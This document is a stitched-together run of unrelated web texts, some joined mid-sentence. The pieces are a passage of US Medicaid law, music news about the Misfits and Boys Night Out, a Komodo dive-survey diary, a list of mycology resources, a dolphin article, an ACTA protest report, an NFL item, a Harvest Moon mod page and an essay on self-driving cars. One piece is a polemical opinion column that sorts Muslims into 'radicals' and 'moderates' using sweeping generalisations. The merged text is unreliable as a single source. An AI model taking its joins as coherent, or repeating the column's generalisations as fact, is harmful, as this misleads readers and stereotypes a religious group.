(iii) by an advanced practice clinician, as defined by the Secretary, that works under the supervision of— (I) a physician that satisfies the criteria specified in clause (i) or (ii); or (II) a nurse practitioner or a physician assistant (as such terms are defined in section 1861(aa)(5)(A)) who is working in accordance with State law, or a certified nurse-midwife (as defined in section 1861(gg)) who is working in accordance with State law, but only if the nurse practitioner, physician assistant, or certified nurse-midwife self-attests that, with respect to the most recently completed calendar year (or in the case of a newly eligible nurse practitioner, physician assistant, or certified nurse-midwife, the preceding month), 60 percent of all services the nurse practitioner, physician assistant, or certified nurse-midwife billed for under the State plan or a waiver under this title, or provided through a medicaid managed care organization (as defined in section 1903(m)(1)(A)), were for services described in subparagraph (A) or (B) of subsection (jj)(1);
(iv) by a rural health clinic, Federally-qualified health center, or other health clinic that receives reimbursement on a fee schedule applicable to a physician, a nurse practitioner or a physician assistant (as such terms are defined in section 1861(aa)(5)(A)) who is working in accordance with State law, or a certified nurse-midwife (as defined in section 1861(gg)) who is working in accordance with State law, for services furnished by a physician, nurse practitioner, physician assistant, or certified nurse-midwife, or services furnished by an advanced practice clinician supervised by a physician described in clause (i)(I) or (ii)(I), another advanced practice clinician, or a certified nurse-midwife, but only if the rural health clinic or Federally-qualified health center self-attests that 60 percent of all services billed for under the State plan or a waiver under this title, or provided through a medicaid managed care organization (as defined in section 1903(m)(1)(A)), were for services described in subparagraph (A) or (B) of subsection (jj)(1); orGlenn Danzig hasn't been a member of the Misfits since their initial breakup in 1983. After a legal battle, bassist Jerry Only gained the rights to record and tour under the Misfits name starting in the 1990s, and Danzig went on to find success with his eponymous band Danzig. Misfits and Danzig have been active, separately, for years now. It hasn't been a particularly amicable divide, either—the two sides have sued each other multiple times. Now, in a reunion that's arguably more unexpected than Axl Rose getting back together with Slash, Danzig has rejoined the Misfits. He'll share the stage with Jerry Only and long-time guitarist Doyle Wolfgang von Frankenstein, billed as "the Original Misfits," for the first time since 1983. (Doyle has performed with both Danzig and the Misfits following the band's 1983 breakup.) So yeah, that's three-quarters of the lineup from the band's iconic 1982 album Walk Among Us.
It all happens at Riot Fest in Denver (September 2-4) and Chicago (September 16-18). The rest of the lineup will be announced "shortly."Reflections on Komodo
Image: SVII-S diver swims through a school of Lunar Wrasse as he finishes the survey at Batu Bolong, a site known for its dangerous currents.
UNESCO World Heritage Site
The initial drive to protect the region of Komodo was to protect the “living dinosaur” that makes these arid islands home. In 1986 it was declared a UNESCO World Heritage Site and a Man and Biosphere Reserve that now encompasses all the biodiversity of the area, marine, terrestrial and cultural. We have wrapped up our work in the Park for now and the team is back in Australia just beginning to sort through the thousands of images that we collected during our survey.
Komodo is an incredibly diverse destination, very sparsely populated with diving conditions that vary from the cool, plankton filled waters of the south, to clear, warm colourful seas in the North, depending on the season in which you visit. We experienced shallow, black volcanic slopes with sands literally warmed by the active volcano that they circle. Hot gasses filtering through the reef create curtains of small bubbles on the dive site. The occasional rumble from deep within the Earth’s crust and the unusually warm seas are another reminder of the magma wells that lurk just beneath the rock.
Abundance and bidiversity of marine life
It is not just the sheer variety of marine life that impresses but the abundance too. Not just one or two of each species but schools of fish and multiple pairs of iconic species, like Angelfish, living in close proximity. On most sites there are clouds of Antheas and Damselfish in the shallows amongst the schools of herbivores. There are multitudes of Wrasse, Idols and Butterflyfish, Clown Triggerfish around every corner. Hunting Trevally cut swathes through feeding schools on the reef edge and aggregations of Snapper and Batfish form on the turn of the tide. On the reef slopes, fields of soft corals and hydroids and meadows of seagrass provide habitat for an assortment of unusual critters.
Deep in the South we visited a very special site known as a meeting point for Manta Rays, both Reef and Pelagic. As the current raged through a reef pass we saw many dark outlines of giant Manta feeding on the surface, their fin tips sticking out of the water. It was an incredible sight. In April, the waters are green with plankton and chilly even with a 5mm wetsuit on. Here we spent a couple of hours in the company of these incredible and very curious giants. The highlight was time spent in the surf zone at the end of our last dive when the rays cruised past repeatedly in single file, again and again, eyeballing us and uncurling their cephalic fins in a kind of greeting.
Strong currents promoting coral health and complexity
Komodo is justifiably famous for its currents with masses of water channelling through from the Indian Ocean to the Flores Sea. In the South East monsoon season the flow can reach eight knots. During our trip the ships Captain had to time vessel movements with the tide or we might have gone backwards through some narrow channels. This is great news for coral health but brings it own set of issues for divers, especially ones pushing around large camera systems! When you see schooling fish hiding amongst the reef structure and not feeding in the current you know it’s a strong one. When your bubbles defy the laws of physics and cascade down into the abyss it can be very dangerous for divers. On some of the sites we planned to stop in the current but were simply unable to find any substrate without life on to hold onto.
The reefs of Komodo are also remarkable for their complexity. The closer you look, the more detail you see. It all seems infinite. A Mantis Shrimp scurries for cover holding its bright orange eggs to its chest. Nudibranches crawl, perfectly camouflaged, looking for ascidians to feed on. Animals pulse with glowing circulatory systems. Tiny red isopods, smaller than ants, cluster on sponges. In every anemone you might find a variety of shrimp and other symbiotic life, on every coral branch, a small crustacean. Bright blue starfish are draped over the whole scene. It is a riot of colour and life. Fingers of fluorescent coral poke out beside magnificent anemones and giant pink brain corals burst from the reef slope. There are massive barrel sponges the size of a man, fields of Staghorn, bright blue living sponge sculptures and clusters of seasquirts of every colour. Even the dead corals have been colonized by encrusting algaes. Every piece of real estate is spoken for.
Creating a baseline record of the reefs
So we leave Komodo after a week of this visual feast. We are completely blown away by the diving and fatigued by the physicality of pushing the camera system through the currents. However there were sites that we visited both within the Park boundaries and on other islands that showed heavy damage from what looked to be dynamite. We heard stories of sites being fished with this destructive technique in the off-season. We photographed areas of reef that had been reduced from beautiful coral gardens to algae covered rubble. There were also the usual stories from long-term residents of how things were in the good old days. This just goes to show how important it is to create a concrete visual record of these reefs so the health of an area can be measured in real terms and not just on first impressions. During our two week survey we completed 29 dives on 23 different sites from Bali to Komodo, took over 16,500 photographs and spent a total of 25 hours underwater.
We would like to thank Reto Schlaepfer, our Trip Director, for helping us to dive our equipment |
fungi. Extracted from Mueller and Wu's 1997 book: Mycological Contributions of Rolf Singer: Field Itinerary, Index to New Taxa, and List of Publications.
Dr. Rod Tulloss (USA) has teamed up with Dr. Zhu-liang Yang (China) to produce these important pages on the genus Amanita. They include photos, keys, and technical descriptions of selected world species.
Sabine Huhndorf's website is entitled Studies in the Lasiosphaeriaceae: Monographs of two key genera and a family-level phylogeny. The site provides keys to genera as well as introductory and phylogenetic information on this family of perithecial ascomycetes in the order Sordariales.
A dynamic electronic mailing list for discussions on biosystematics, biogeography and collection curation. To subscribe, send a message to LISTSERV@[email protected] (leave subject line blank and omit signature): "signup taxacom your name" (e.g. signup taxacom Kathie Hodge)
TAXACOM archives are available for browsing and searching
TRED is a directory of American taxonomists that is searchable by field of expertise.
The Texas Plant Disease Handbook is a pretty comprehensive guide to plant diseases and the organisms that cause them.
A taxonomic treatment of the Echinosteliales (a group of slime molds) prepared by Francisco Pando. An INTKEY identification resource for use with DELTA software (q.v.) is provided.
An INTKEY package for identification of a group of slime molds, the Echinosteliales (requires the program INTKEY for Delta).
A site devoted to the taxonomy and biodiversity of slime molds. Including a database of slime mold names, an image gallery, advice on culture, and other details of slime mold life are found on these pages provided by Steve Stephenson at the University of Arkansas (US).
The genus Sarcoscypha includes the familiar large, red pixie cups. Hans-Otto Baral has compiled data on the known species and provides dichotomous and tabular keys to facilitate identification. Illustrations of microscopic features and anamorphs complement the site.
Identification of species of Tilletia (pathogens of grasses) using an interactive key.
A scientific journal of lichens.
This yucky-sounding website is actually a lovely treatment of a subgenus of the very large mushroom genus, Cortinarius. Species of Cortinarius subgenus Phlegmacium in Denmark and neighboring Europe are named and illustrated on this site.
A guide to the genera Russula, Lactarius and hypogeous allies in the western hemisphere, thie site includes a useful bibliography, images, and illustrations of important characters and chemical tests.
Peter Bostock provides this DOS/Windows-based software for translating from English to botanical Latin.
This phylogenetic navigator provides a tree that shows the evolutionary relationships of living organisms, including fungi. It also supplies descriptive pages on selected terminal taxa. Like biological systematics itself, it's a work in progress.
An interactive key to species of Trichoderma, including information on identification and images of structures and species. Nice.
A checklist and illustrations of species of the elegant mushroom genus Tricholoma in Denmark.
These pages by R.W. Lichtwardt and L.C. Ferrington document on ongoing project on the taxonomy and co-evolution of Trichomycetes (fungi that inhabit insect guts) and their blackfly hosts. Keys to trichomycete orders and genera, an extensive literature database, and an overview of trichomycete systematics.
The Taxonomy Resource and Index To Organism Names is a developing database of nomenclatural information that covers all kingdoms of organisms.
This incredibly valuable USDA-ARS site is the superstar of all mycological internet resources. It provides searchable data from "Fungi on Plants and Plant Products in the US;" and "Literature Guide for Identification of Plant Pathogenic Fungi;" mycological literature reference databases; a listing of specimens in the National Fungus Collections (BPI); an index to Saccardo's "Sylloge Fungorum;" and and index to the "Index of Fungi." Alternate access is through telnet to fungi.ars-grin.gov (login USER; password: USER).
The Museum of Paleontology at the University of California, Berkeley provides a well-prepared introduction to the kingdom Fungi, and also to two groups that have historically been studied by mycologists, the Oomycota and slime molds. Similar introductions are available for all other taxa. This link makes a valuable addition to any teaching program.
A molecular database for identification of ectomycorrhizal fungi, based on ITS sequences amplified from roots or fruiting bodies. The site also includes suggestion for PCR primers. The site currently focuses mainly on European fungi.
British waxcaps are featured on this site. Waxcaps are those brightly colored little fungi, common in British grasslands (but forest denizens in the Americas), in the genera Hygrocybe, Hygrophorus, Camarophyllus, etc. This site provides a nice introduction to their identification, conservation, and ecology. A key to British species is provided.
Excellent monographic treatments of various genera of the family Xylariaceae (Ascomycota) by J.D. Rogers, Y.-M. Ju, and M.J. Adams. Keys are available for the genera Biscogniauxia, Creosphaeria, Daldinia, Discoxylaria, Entoleuca, Hypoxylon, Jumillera, Kretzschmaria, Kretzschmariella, Stilbohypoxylon, Vivantia, and Whalleya, and each species is illustrated and thoroughly described. An index to more than 1200 species epithets is provided for the treated genera. A key to genera of the Xylariaceae has recently been completed. Wow.
Zoosporic Fungi Online provides up-to-date information on fungi (chytrids) and things we used to think were fungi (stramenopiles). There are reviews of publications, tips on cultural methods, phylogenetic trees, and images.In mourning: Dolphin photographed carrying the broken body of its baby in heartbreaking ritual
It is a poignant mourning ritual that is rarely seen – and even more rarely captured on camera.
Struggling against the rough seas, a dolphin carries her dead baby on its final journey.
While a boat full of tourists watched the heartbreaking scene, the baby dolphin slipped from its mother’s back five times as she battled against the tide.
Heartbreaking: A dolphin carries the body of a dead calf, undoubtedly her own, off the coast of the Guangxi Zhuang region, in China. The'mourning ritual' is rarely caught on camera
Out to deeper water: The dolphin repeatedly lifted the calf out of the water, as if helping it to breathe. It was also taking out to sea, perhaps because it had been killed by a boat closer in to shore But on each occasion, she plucked it from the waves and continued her lonely voyage. The dolphin was thought to be moving her dead calf away from the shore to lay it to rest in deeper water. A large gash, approximately a foot long, was visible across the calf’s belly. It is possible the infant was killed by the propeller of a boat – perhaps even one of the many that take visitors out on day trips. The pictures were taken by tourists in China’s Guangxi Zhuang region, which is known for its dolphin-watching tours.
Popular tourist spot: The Guangxi Zhuang region is well known for of its dolphin-watching tours. With tragic irony, it may have been one of these sight-seeing boats that accidentally killed the calf
In the past, researchers have observed dolphins carrying or pushing stillborn calves or those that die in their infancy.
They sometimes stay with their dead baby for several days. Mourning rituals are rare in the animal kingdom, but have also been observed in whales, elephants, chimps and gorillas.
While experts are reluctant to attribute human emotions to animals, the behaviour seems to show that dolphins have some awareness of mortality – and may even contemplate their eventual death.
Researcher Joan Gonzalvo, of the Tethys Research Institute in Italy, observed a similar scene of a mother carrying its dead calf on its back. He said that the mother seemed unable to accept the death.
Highly intelligent: Dolphins travel in pods and are highly social animals. They have been known to protect other species, such as humans, but can also be inexplicably aggressive
A little too playful: Moko the bottlenose dolphin fell foul of locals in his native New Zealand when he stopped playing with swimmers and started preventing them from going ashore, effectively kidnapping them A year later, he witnessed a pod of dolphins trying to help a dying calf – lifting it to the surface and swimming around the sick creature in a frantic and erratic manner. He said: ‘My hypothesis is that the sick animal was kept company and given support, and when it died the group had done their job. ‘In this case they had already assumed death would eventually come – they were prepared.’Photo credit: James Heaslip
Canadian post-hardcore poster boys Boys Night Out will officially release their new EP, Black Dogs, on July 8 via Good Fight Music. The break's over—we're thrilled to premiere all six songs for you below. They're just as catchy and powerful as we remember them when they signed off almost a decade ago.
TRAINWRECK & MORE: 19 albums we can’t believe turn ten in 2015
Black Dogs was engineered and mixed by Derek Hoffman (Seaway, Stick to Your Guns) at Fox Sounds in Toronto, and mastered by Alan Douches (Brand New, A Day To Remember) at West West Side.
Vocalist Connor Lovat-Fraser sums it up, saying “None of us really knew when or if this day would come, but I'm fairly goddamn sure that we all hoped it would. We may not be touring again any time soon, but it's pretty fucking rad to have the opportunity to write music together again.”
PRE-ORDER BLACK DOGS AND MORE GOODIES FROM MERCHNOW!
Guitarist Jeff Davis explains the concept behind the new EP: “The title Black Dogs is a metaphor for pain, addiction, depression. It follows a concept that those negative aspects of the psyche are separate from the individual, and are carried around as an external being or unwanted friend—a black dog.”
Good Fight label owner Carl Severson adds, “Boys Night Out were some of the most creative, passionate, and honest musicians I ever worked with. They just wanted to write and play and have fun, and they stopped when it didn't feel right anymore. I always respected that. They wrote this new EP, Black Dogs, because years later it felt right again, and I'm honored we're able to be a part of their music again.”BERLIN – Braving subzero temperatures, hundreds of thousands of Europeans across the continent took to the streets Saturday, protesting an international trade agreement many say will overrule democratic institutions, jeopardize civil liberties and stifle technological innovation.
The Anti-Counterfeiting Trade Agreement (ACTA) is designed to put in place international standards to protect intellectual property rights. But some lawyers say it forces private companies to police cybertraffic — and across the globe the treaty is being seen as a serious threat to Internet freedom.
"It's becoming an issue of citizens' power," said David Hammerstein, senior adviser on intellectual property for Trans-Atlantic Consumer Dialogue, an umbrella consumer rights organization in Brussels. "The front lines of the defense of civil rights today is the defense of an open, free Internet and that (is what ACTA threatens.)"
Critics say that the details of ACTA have been decided behind closed doors, a deliberate move to slip the highly controversial agreement through without proper public scrutiny. They add that once they have signed up countries have no say in any subsequent changes to the treaty.
When the European Union signed ACTA on Jan. 26, the European Parliament's rapporteur on ACTA, Kader Arif, resigned, calling the entire process a "charade" designed to prevent the European Parliament having any say in an agreement that could have a "major impact on citizens' lives."
The European Parliament still needs to sign off on the treaty by June.
The agreement has been signed by 22 of the 27 EU member states, but countries including Germany and the Czech Republic have yet to do so, and some others are now backing off.
Slovenia's ambassador to Japan, Helena Drnovsek Zorko, has publicly apologized for signing the treaty, saying that it "limits and withholds the freedom of engagement on the largest and most significant network in human history, and thus limits particularly the future of our children."
Zorko also encouraged Slovenians to join demonstrations organized via Facebook against ACTA in Ljubljana last weekend. Thousands have already taken to the streets of the Slovene capital.
In Budapest, the anti-ACTA march was also the first demonstration of the "Occupy Budapest" movement. Crowds gathered in front of lawmakers' offices to listen to speakers, some of whom who wore masks to conceal their identity.
Protests shivered but said they were glad to be there.
"I am here to protest against others' rights to collect information about me that I never intended to share with them," said Aniko Kapeller, a graphic designer who lives in Budapest.
"ACTA does not only violate the rights of file-sharers while serving a small interest group, but also more severely limits the freedom of the Internet even more acutely," said Sandor Szorad, a student protesting in Budapest. "It provides for the unlimited surveillance of people's activities on the net, without giving them the benefit of the doubt. All freedom-loving people have to protest against this."
In Vilnius, Lithuania, the arctic weather kept many people at home. About 500 came to protest the ACTA treaty at a square near federal buildings even though 10 times that number registered to participate via Facebook. Protesters held signs reading "Corporations + governments = ACTA."
And across Germany, thousands marched against the treaty in Munich, Oldenburg and Berlin.
In Berlin, where a youthful crowd made for a carnival atmosphere, about 6,500 protesters were out on the street, according to police estimates. Organizers, who had been expecting 500, said the turnout was overwhelming..
"It's so great to see so many young people brave the cold [to come out and protest] this issue," said Anne Meyer of Berlin.
Confronted with what some are calling the biggest public demonstrations in Poland's post-communist history, Prime Minister Donald Tusk has called a halt on ratifying the agreement.
"We all kind of went crazy over this issue," said Tusk during a debate over ACTA last weekend. "No other country saw such large-scale protests. We had almost hell here, which means that there is a problem with the (treaty)."
For Romanian exporters, "ACTA will help protect international markets, the intellectual and industrial property rights, copyrights, trademarks, patents and designs," said Ioana Muntean, a spokeswoman for the Romania government.
"Slovakia has already adopted a lot of legislation that matches ACTA: It means we already do what this treaty requires," said attorney Adriana Tomanova, director of the Slovak Association for Protecting Authors´ Rights.
In a joint statement on the governing Christian Democrats/Christian Social Union's website, deputy parliamentary party leader in the Bundestag Günter Krings and the rapporteur on copyright law for the German legal affairs committee Ansgar Heveling reiterated the party's commitment to "strong protection for intellectual property even in the digital age." But they stopped short of endorsing ACTA.
The most widespread criticism focuses on the fear that it will lead to Internet censorship by allowing Internet service providers to be held accountable for its customers' online content, something which Hammerstein likens to "asking the post office to be responsible for what is inside packages."
"In order to comply with ACTA, Internet providers would have to start monitoring the Internet and look at what individual users do in terms of file sharing and so on," said Joerg Hladjk a lawyer specializing in data privacy at Hunton & Williams' Brussels office. This he says, comes into direct conflict with fundamental rights under European data protection law.
Critics are also concerned that the treaty is ambiguous on what constitutes a breach of intellectual copyright protections, leaving courts in individual countries to decide.
"ACTA threatens honest Internet users who don't try to steal intellectual property," said Armands Leimanis of Latvia's anti-ACTA movement. "It is specifically dangerous for Latvians. Latvian copyright holders' organizations are incompetent, and if they are given more authority it will be dangerous."
Latvia withdrew ACTA from the ratification process in parliament this week in the face of mounting protests. And Slovakia has delayed putting the treaty into the ratification process.
Supporters of ACTA say the agreement is there to protect the rights of creative industries to earn money from their innovations and that ACTA is flexible enough to allow for a balance between competing interests. But some say that beyond copyright concerns, ACTA is an attempt to seize control of what has become an ungovernable realm where citizens are seen to have too much power.
"I think there is also a political agenda behind controlling Internet, aside from business (interests), where governments feel that the Internet is out of hand, it's out of control and (they) want to regain control," Hammerstein said. "There is a very fine line between political repression and IPR repression and we have seen it many countries, in Iran, in Russia, in China, where under the excuse of copyright there have been politically repressive measures."
Also, the treaty makes what have previously been civil and commercial disputes over intellectual property rights criminal matters. Critics say the threat of jail sentences and "sky's the limit" financial penalties could prevent the kind of innovation that has given the world Google, Skype, Facebook and Twitter.
The agreement was signed by the United States, Australia, Canada, Japan, Morocco, New Zealand, Singapore and South Korea in October last year. But with 2 million people signing an online petition against ACTA, activists hope the widespread anger among citizens will put a stop to Europe adopting the treaty.
"I think if people are on the streets protesting against it, the European Commission will rethink it," said Stephan Urbach of Germany's Pirate Party, which was involved in organizing the protests across Germany. "This is something that is bringing people all over Europe out on the streets, together on the same day, for the same reason. We have not had anything like that for years."If true -- and disturbing polls certainly indicate that Khadr's findings are prevalent -- the West may need to rethink one of its main means of countering radical Islam: moderate Muslims and moderate Islam.
According to Dr. Ahmed Ibrahim Khadr, the first loyalty of radicals is to Islam while the first loyalty for moderates, regardless of their religion, is to the state. Radicals reject the idea of religious equality because Allah's true religion is Islam; moderates accept it.
After his recent electoral victory, it emerged that Sadiq Khan, London's first Muslim mayor, had described moderate Muslim groups as "Uncle Toms" -- a racial slur used against blacks perceived to be subservient to whites, or, in this context, Muslims who embrace "moderate Islam" as, in his view, a way of being subservient to the West.
One of Iran's highest clerics apparently shares the same convictions. After asserting that "revolutionary Islam is the same as pure Muhammadan Islam," Ayatollah Tabatabaeinejad recently said:
"Some say our Islam is not revolutionary Islam, but we must say to them that non-revolutionary Islam is the same as American Islam. Islam commands us to be firm against the enemies and be kind and compassionate toward each other and not be afraid of anything..."
According to the AB News Agency,
"Ayatollah Tabatabaeinejad stated that revolutionary Islam is this same Islam. It is the Islam that is within us that can create changes. The warriors realized that Islam is not just prayers and fasting, but rather they stood against the enemies in support of Islam."
How many Muslims share these convictions, one from a Sunni living (and now governing) in London, the other from a Shia living and governing in the Middle East?
According to an Arabic language article, (in translation) "The Truth about the Moderate Muslim as Seen by the West and its Muslim Followers," by Dr. Ahmed Ibrahim Khadr in 2011:
"Islamic researchers are agreed that what the West and its followers call'moderate Islam' and'moderate Muslims' is simply a slur against Islam and Muslims, a distortion of Islam, a rift among Muslims, a spark to ignite war among them. They also see that the division of Islam into'moderate Islam' and 'radical Islam' has no basis in Islam -- neither in its doctrines and rulings, nor in its understandings or reality.
Khadr goes on to note the many ways that moderates and radicals differ. For instance, radicals ("true Muslims") aid and support fellow Muslims, especially those committed to jihad, whereas moderates ("false Muslims") ally with and help Western nations.
This sounds similar to Ayatollah Tabatabaeinejad's assertion that "non-revolutionary Islam is the same as American Islam. Islam commands us to be firm against the enemies ["infidels"] and be kind and compassionate toward each other."
Among the major distinctions (translated verbatim) made in Khadr's article are:
Radicals want the caliphate to return; moderates reject the caliphate.
Radicals want to apply Sharia (Islamic law); moderates reject the application of Sharia.
Radicals reject the idea of renewal and reform, seeing it as a way to conform Islam to Western culture; moderates accept it.
Radicals accept the duty of waging jihad in the path of Allah; moderates reject it.
Radicals reject any criticism whatsoever of Islam; moderates welcome it on the basis of freedom of speech.
Radicals accept those laws that punish whoever insults or leaves the religion [apostates]; moderates recoil from these laws.
Radicals respond to any insult against Islam or the prophet Muhammad -- peace and blessing upon him -- with great violence and anger; moderates respond calmly and peacefully on the basis of freedom of expression.
Radicals respect and revere every deed and every word of the prophet -- peace be upon him -- in the hadith ; moderates do not.
; moderates do not. Radicals oppose democracy; moderates accept it.
Radicals see the people of the book [Jews and Christians] as dhimmis [barely tolerated subjects]; moderates oppose this [view].
[barely tolerated subjects]; moderates oppose this [view]. Radicals reject the idea that non-Muslim minorities should have equality or authority over Muslims; moderates accept it.
Radicals reject the idea that men and women are equal; moderates accept it, according to Western views.
Radicals oppose the idea of religious freedom and apostasy from Islam; moderates agree to it.
Radicals desire to see Islam reign supreme; moderates oppose this.
Radicals place the Koran over the constitution; moderates reject this [assumption].
Radicals reject the idea of religious equality because Allah's true religion is Islam; moderates accept it.
Radicals embrace the wearing of hijabs and niqabs ; moderates reject it.
and ; moderates reject it. Radicals accept killing young girls who commit adultery or otherwise besmirch their family's honor; moderates reject this [response].
Radicals reject the status of women today and think that the status of women today should be like the status of women in the time of the prophet; moderates oppose that women should be as in the time of the prophet.
Radicals vehemently reject that women should have the freedom to choose partners; moderates accept that she can choose a boyfriend without marriage.
Radicals agree to clitorectomies; moderates reject them.
Radicals reject the so-called war on terror and see it as a war on Islam; moderates accept it.
Radicals support jihadi groups; moderates reject them.
Radicals reject the terms "Islamic terrorism" or "Islamic fascism"; moderates accept them.
Radicals reject universal human rights, including the right to be homosexual; moderates accept them.
Radicals reject the idea of allying with the West; moderates support it.
Radicals oppose secularism; moderates support it.
According to Dr. Ahmed Ibrahim Khadr, the first loyalty of radicals is to Islam while the first loyalty for moderates, regardless of their religion, is to the state. Radicals reject the idea of religious equality because Allah's true religion is Islam; moderates accept it.
Khadr makes other charges outside his chart, including that radicals want religion to govern society, while moderates believe religion has no role in public life, that it must be practiced in private; that radicals take the text of the Koran and hadith literally, while moderates rely on rationalism, and that the first loyalty of radicals is to Islam -- a reference to the Islamic doctrine of "Loyalty and Enmity" -- while the first loyalty for moderates, regardless of their religion, is to the state. Radicals, he charges, also marvel that the moderate "finds hatred for non-Muslims unacceptable."
Khadr's conclusion is that, to most Muslims, "moderate Muslims" are those Muslims who do not oppose -- and who actually aid -- the West and its way of life, whereas everything "radicals" accept is based on traditional Islamic views.
If true -- and disturbing polls certainly indicate that Khadr's findings are prevalent -- the West may need to rethink one of its main means of countering radical Islam: moderate Muslims and moderate Islam.
Raymond Ibrahim is the author of Crucified Again: Exposing Islam's New War on Christians (published by Regnery with the Gatestone Institute, April 2013).
Related Video: M. Zuhdi Jasser on "Countering Radical Islam – A Reformist Muslim Speaks Out"HOUSTON – The Chargers are making it clear at special NFL relocation meetings in Houston on Tuesday that they have more than the nine votes needed to block Stan Kroenke relocating the Rams to Inglewood or the Chargers being approved to join the Rams at the Hollywood Park site.
The Chargers not only believe they have between 17 and 20 votes from the league’s owners but are counting on the recommendation from at least five of the six owners on the NFL’s Committee for Los Angeles Opportunities.
The committee will make a recommendation Tuesday to the owners. The Los Angeles Committee is viewed as one of the most powerful committees in the league’s history and includes Carolina owner Jerry Richardson, Art Rooney of Pittsburgh, John Mara of the Giants, Houston’s Bob McNair, New England’s Robert Kraft and Clark Hunt of Kansas City.
Under NFL guidelines, franchises need the approval of three-quarters the league’s owners in order to relocate.
Dallas Cowboys owner Jerry Jones, a Kroenke supporter, has also submitted a proposal asking the league’s owners to approve the Rams’ and Chargers’ relocation to Inglewood. Spanos has said he is opposed to moving to Inglewood. The Chargers are asking the league to approve their relocation with the Raiders to a $1.75 billion stadium in Carson.Finally! A mod to let you marry your favorite same-sexed Bachelors and Bachelorettes in Harvest Moon: Animal Parade for the Nintendo Wii!
(this is a terribly stupid name/logo and I don’t know if I’ll keep it going forward. lol)
This mod replaces the Male playable character models with the Female ones and vice-versa.
FEATURES:
Play as a ‘guy’ and marry the Man of Your Dreams, or play as a ‘girl‘ and marry your one and only Best Girl.
All outfits have been swapped, so changing out of the default outfit shouldn’t break anything.
Graphics for stamina bar and map screen have also been replaced.
DOWNLOAD:
WHAT YOU’LL NEED:
(windows) xdeltaUI
(mac) multipatch
the patch (see above)
An.iso of Harvest Moon: Animal Parade for Wii (You gotta already have this. I’m not providing it for you.)
HOW TO INSTALL:
Run multipatch(mac) or xdelta UI(windows) (the screen both give you should basically be the same) Select ‘AnimalParadePatchv01.xdelta’ where it asks for a patch file For “source file” or “file to patch”, select your Animal Parade.iso file Choose the location/filename to save it as. Anything is fine as long as it ends in.iso Run the patcher!
The file that it spits out is playable immediately!
SCREENSHOTS:
TO DO:
Edit dialog for heart events, marriage scenes, family events, etc.
Edit names/descriptions for outfits to reflect the correct ones.
KNOWN ISSUES:
All animations are still tied to the ‘original’ gender. i.e. our new boy still uses the ‘feminine’ walk cycle while our new girl uses the ‘masculine’ walk cycle. Only the sharpest eyes will notice. Luckily, they aren’t too exaggerated.
Presumably, all of the male and female accessories remain unswitched. However, most accessories seem to be gender-agnostic.
Absolutely none of the dialogue/text has been changed. This includes both dialog during weddings/heart events and the names and descriptions of the outfits.
the names and descriptions of the outfits. As a continuation of the previous point, I haven’t gotten to or tested the childbirth scenes at all. Enjoy that while it lasts.
CONTACT:
Found a bug? Wanna help? Submit Screenshots? Just wanna gush about your new in-game waifu or husbando? Contact me either here or on Twitter: @frogglegged.Self-driving cars are a rapidly evolving technology which only a few years ago was still considered science fiction. In such a dynamic context, quick intuitions can be very misleading and misconceptions about the technology, its impact, and the nature of the innovation process abound. In the following we address some of the most widely held misconceptions about autonomous vehicles:
Top misconceptions
This list of misconceptions can be used to :
enlarge your knowledge about the underlying forces and paths that will shape the future of autonomous vehicles, and to
assess the expertise of authors and experts who are making statements about self-driving cars.
You will find that many widely repeated statements about autonomous vehicles can be attributed to very narrow perspectives on self-driving cars and a lack of understanding for the nature of the global, distributed innovation process which drives this technology forward.
Note that this article focuses on fully autonomous vehicle technology, i.e. vehicles that can drive themselves without human intervention, even empty, without any human in the car.
Misconception 1: Driver assistance systems will evolve gradually into fully autonomous cars
This is an extremely attractive misconception that you will find repeated over and over. At first glance, it seems to be very logical and rooted in history: If we look at the past 10 years as well as the present we find that each new car model comes equipped with more computational power, more electronic safety and assistance features – from auto-parking, lane warning, intelligent cruise control, to emergency braking etc. Isn’t it natural to extrapolate this trend into the future?
But this evolution contains one obvious discontinuity: All of the driver assistance systems which are in use today operate only for short times and in extremely limited settings. Auto-parking operates for a few seconds with the driver watching. Emergency braking kicks in at the last moment before an inevitable crash. Lane warning comes on briefly when a car veers out of its lane.
This changes drastically once the car drives itself continuously for minutes or hours. Here, gradual evolution is impossible: from the moment that a car drives continuously, there is no margin for error; no room for gradual improvement, learning by doing or evolution. It needs to be able to cope with all short-term eventualities and crisis situations that may arise on the spot.
People often argue that such assistance systems need to be supervised by the driver. This makes sense for assistance systems that operate for a few seconds or minutes (such as a parking assistant) but it can not work for systems that drive continuously. Humans are not capable to maintain the state of alert for hours and hours which would be required to immediately counteract possible deficiencies of a driver-assistance system or to take over from it in a split-second.
We can only entrust the driving task to a driver assistance system when we are sure that this system can handle all situations which arise suddenly and require immediate reaction. This means that driver assistance systems operating continuously on a highway need to be able to cope with rare situations including pedestrians and bicyclists on the highway (they do appear sometimes on highways), accidents unfolding, animals, sudden rainfall etc. Gradual evolution of such systems is impossible; they need to be extremely capable from the first day on which they are put into operation.
If we systematically enumerate the risk scenarios which a continuously operating driver assistance system needs to handle, we find that it must pass almost every risk scenario that a fully autonomous vehicle must be capable of handling. Only those few scenarios that do not arise suddenly but that can be anticipated minutes before (e.g. that the exit is coming up) need not be handled by a continuously operating driver assistance system because it can alert the driver in time and request to return control to the driver.
To summarize: Driver assistance systems can not evolve continuous driving capability gradually! At the moment we entrust them to drive continuously they require a huge, discontinuous jump in capability which will place their capabilities very close to the capabilities of fully autonomous vehicles.
Misconception 2: The first models of fully autonomous cars will be targeted to the consumer and will be available for purchase
When will I be able to buy an autonomous car? When will autonomous vehicles appear on the market? These key questions already contain an innocent assumption about the market for self-driving vehicles: that these cars will be primarily targeted to the consumer.
Unfortunately this assumption disregards both the difficulties and opportunities associated with fully autonomous cars. A key problem is the region where cars are capable of autonomous operation. Consumers who want to purchase a car expect it to operate in most parts (at least all highways) of the country or ideally the whole continent, and preferably in all non-extreme weather situations. This is a tall order! Detailed maps need to be created and maintained; algorithms need to support more than dry weather and light rain but also snow and heavy rain.
For auto manufacturer this means that solutions need to be found that essentially work on the entire planet. The structure of the maps needs to be defined and then the maps themselves need to be collected. This will be a major task because the maps need to be much more detailed than the conventional street maps currently being maintained by Google, Apple, TomTom, Nokia Here and others. It is not yet clear what the best structure for such a map is (and nobody has even started to address the problem of how to navigate in snow-covered areas which may in turn have implications on the mapping approach). Therefore a significant lead time will be necessary before an auto manufacturer can release models to the market that are capable of driving autonomously in most parts of a country or even continent.
